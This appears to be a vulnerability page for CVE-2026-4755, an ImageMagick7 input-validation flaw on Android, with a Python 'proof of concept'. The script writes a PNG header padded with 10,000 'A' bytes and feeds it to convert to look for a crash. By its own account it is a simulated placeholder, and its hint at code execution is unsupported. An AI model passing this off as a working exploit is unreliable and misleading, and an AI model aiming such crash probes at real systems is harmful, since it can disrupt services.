CVE-2026-4755 Android-ImageMagick7输入验证漏洞

# Proof of Concept for CVE-2026-4755 # This script demonstrates how a malformed image might trigger the vulnerability. # Note: This is a conceptual example based on CWE-20. import subprocess # Create a malformed image file (simulated) # In a real scenario, this would contain specific bytes to bypass validation malicious_file = "exploit.png" with open(malicious_file, "wb") as f: # Header bytes + payload to trigger validation error # Example: Oversized chunk or malformed header f.write(b'\x89PNG\r\n\x1a\n' + b'A' * 10000) # Command to convert the image using the vulnerable library # If the library is vulnerable (before 7.1.2-11), this may crash or execute code try: result = subprocess.check_output( ['convert', malicious_file, 'output.jpg'], stderr=subprocess.STDOUT, timeout=5 ) print("Conversion successful (Vulnerability might not be triggered)") except subprocess.CalledProcessError as e: print(f"Crash detected! Vulnerability likely triggered: {e.output}") except Exception as e: print(f"An error occurred: {str(e)}")